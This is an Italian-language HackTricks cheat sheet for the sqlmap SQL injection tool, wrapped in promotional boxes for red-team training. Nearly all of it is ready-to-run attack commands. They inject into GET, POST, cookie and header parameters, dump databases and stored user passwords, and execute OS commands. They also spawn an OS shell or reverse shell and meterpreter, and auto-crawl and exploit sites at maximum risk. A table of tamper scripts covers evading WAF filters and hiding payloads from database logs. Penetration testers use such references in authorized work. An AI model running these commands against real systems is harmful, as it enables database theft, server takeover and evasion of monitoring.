SQLMap
Reading time: 8 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al š¬ gruppo Discord o al gruppo telegram o seguici su Twitter š¦ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Argomenti di base per SQLmap
Generico
bash
-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=PROXY
Recuperare informazioni
Interno
bash
--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB
Dati DB
bash
--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column
Injection place
From Burp/ZAP capture
Cattura la richiesta e crea un file req.txt
bash
sqlmap -r req.txt --current-user
Iniezione di Richiesta GET
bash
sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id
Iniezione di Richiesta POST
bash
sqlmap -u "http://example.com" --data "username=*&password=*"
Iniezioni negli Header e altri Metodi HTTP
bash
#Inside cookie
sqlmap -u "http://example.com" --cookie "mycookies=*"
#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"
#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
#The injection is located at the '*'
Iniezione di secondo ordine
bash
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs
Shell
bash
#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami
#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell
#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
Esegui la scansione di un sito web con SQLmap e auto-sfrutta
bash
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms
Personalizzazione dell'iniezione
Imposta un suffisso
bash
python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "
Prefisso
bash
python sqlmap.py -u "http://example.com/?id=1" -p id --prefix="') "
Aiuto nella ricerca di iniezione boolean
bash
# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch
Tamper
bash
--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
Tamper | Descrizione |
---|---|
apostrophemask.py | Sostituisce il carattere apostrofo con il suo corrispondente a larghezza completa UTF-8 |
apostrophenullencode.py | Sostituisce il carattere apostrofo con il suo corrispondente illegale a doppio unicode |
appendnullbyte.py | Aggiunge un carattere NULL codificato alla fine del payload |
base64encode.py | Codifica in Base64 tutti i caratteri in un dato payload |
between.py | Sostituisce l'operatore maggiore di ('>') con 'NOT BETWEEN 0 AND #' |
bluecoat.py | Sostituisce il carattere di spazio dopo l'istruzione SQL con un carattere vuoto casuale valido. Successivamente sostituisce il carattere = con l'operatore LIKE |
chardoubleencode.py | Codifica doppio url tutti i caratteri in un dato payload (non elaborando quelli giĆ codificati) |
commalesslimit.py | Sostituisce istanze come 'LIMIT M, N' con 'LIMIT N OFFSET M' |
commalessmid.py | Sostituisce istanze come 'MID(A, B, C)' con 'MID(A FROM B FOR C)' |
concat2concatws.py | Sostituisce istanze come 'CONCAT(A, B)' con 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' |
charencode.py | Codifica url tutti i caratteri in un dato payload (non elaborando quelli giĆ codificati) |
charunicodeencode.py | Codifica unicode-url i caratteri non codificati in un dato payload (non elaborando quelli giĆ codificati). "%u0022" |
charunicodeescape.py | Codifica unicode-url i caratteri non codificati in un dato payload (non elaborando quelli giĆ codificati). "\u0022" |
equaltolike.py | Sostituisce tutte le occorrenze dell'operatore uguale ('=') con l'operatore 'LIKE' |
escapequotes.py | Escape con barra delle virgolette (' e ") |
greatest.py | Sostituisce l'operatore maggiore di ('>') con il corrispondente 'GREATEST' |
halfversionedmorekeywords.py | Aggiunge un commento MySQL versionato prima di ogni parola chiave |
ifnull2ifisnull.py | Sostituisce istanze come 'IFNULL(A, B)' con 'IF(ISNULL(A), B, A)' |
modsecurityversioned.py | Racchiude la query completa con un commento versionato |
modsecurityzeroversioned.py | Racchiude la query completa con un commento a zero versione |
multiplespaces.py | Aggiunge spazi multipli attorno alle parole chiave SQL |
nonrecursivereplacement.py | Sostituisce parole chiave SQL predefinite con rappresentazioni adatte per la sostituzione (e.g. .replace("SELECT", "")) filtri |
percentage.py | Aggiunge un simbolo di percentuale ('%') davanti a ogni carattere |
overlongutf8.py | Converte tutti i caratteri in un dato payload (non elaborando quelli giĆ codificati) |
randomcase.py | Sostituisce ogni carattere della parola chiave con un valore di caso casuale |
randomcomments.py | Aggiunge commenti casuali alle parole chiave SQL |
securesphere.py | Aggiunge una stringa appositamente creata |
sp_password.py | Aggiunge 'sp_password' alla fine del payload per l'oscuramento automatico dai log DBMS |
space2comment.py | Sostituisce il carattere di spazio (' ') con commenti |
space2dash.py | Sostituisce il carattere di spazio (' ') con un commento a trattino ('--') seguito da una stringa casuale e una nuova riga ('\n') |
space2hash.py | Sostituisce il carattere di spazio (' ') con un carattere di cancelletto ('#') seguito da una stringa casuale e una nuova riga ('\n') |
space2morehash.py | Sostituisce il carattere di spazio (' ') con un carattere di cancelletto ('#') seguito da una stringa casuale e una nuova riga ('\n') |
space2mssqlblank.py | Sostituisce il carattere di spazio (' ') con un carattere vuoto casuale da un insieme valido di caratteri alternativi |
space2mssqlhash.py | Sostituisce il carattere di spazio (' ') con un carattere di cancelletto ('#') seguito da una nuova riga ('\n') |
space2mysqlblank.py | Sostituisce il carattere di spazio (' ') con un carattere vuoto casuale da un insieme valido di caratteri alternativi |
space2mysqldash.py | Sostituisce il carattere di spazio (' ') con un commento a trattino ('--') seguito da una nuova riga ('\n') |
space2plus.py | Sostituisce il carattere di spazio (' ') con un più ('+') |
space2randomblank.py | Sostituisce il carattere di spazio (' ') con un carattere vuoto casuale da un insieme valido di caratteri alternativi |
symboliclogical.py | Sostituisce gli operatori logici AND e OR con i loro corrispondenti simbolici (&& e |
unionalltounion.py | Sostituisce UNION ALL SELECT con UNION SELECT |
unmagicquotes.py | Sostituisce il carattere di virgolette (') con una combinazione multi-byte %bf%27 insieme a un commento generico alla fine (per farlo funzionare) |
uppercase.py | Sostituisce ogni carattere della parola chiave con il valore maiuscolo 'INSERT' |
varnish.py | Aggiunge un'intestazione HTTP 'X-originating-IP' |
versionedkeywords.py | Racchiude ogni parola chiave non funzione con un commento MySQL versionato |
versionedmorekeywords.py | Racchiude ogni parola chiave con un commento MySQL versionato |
xforwardedfor.py | Aggiunge un'intestazione HTTP falsa 'X-Forwarded-For' |
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al š¬ gruppo Discord o al gruppo telegram o seguici su Twitter š¦ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.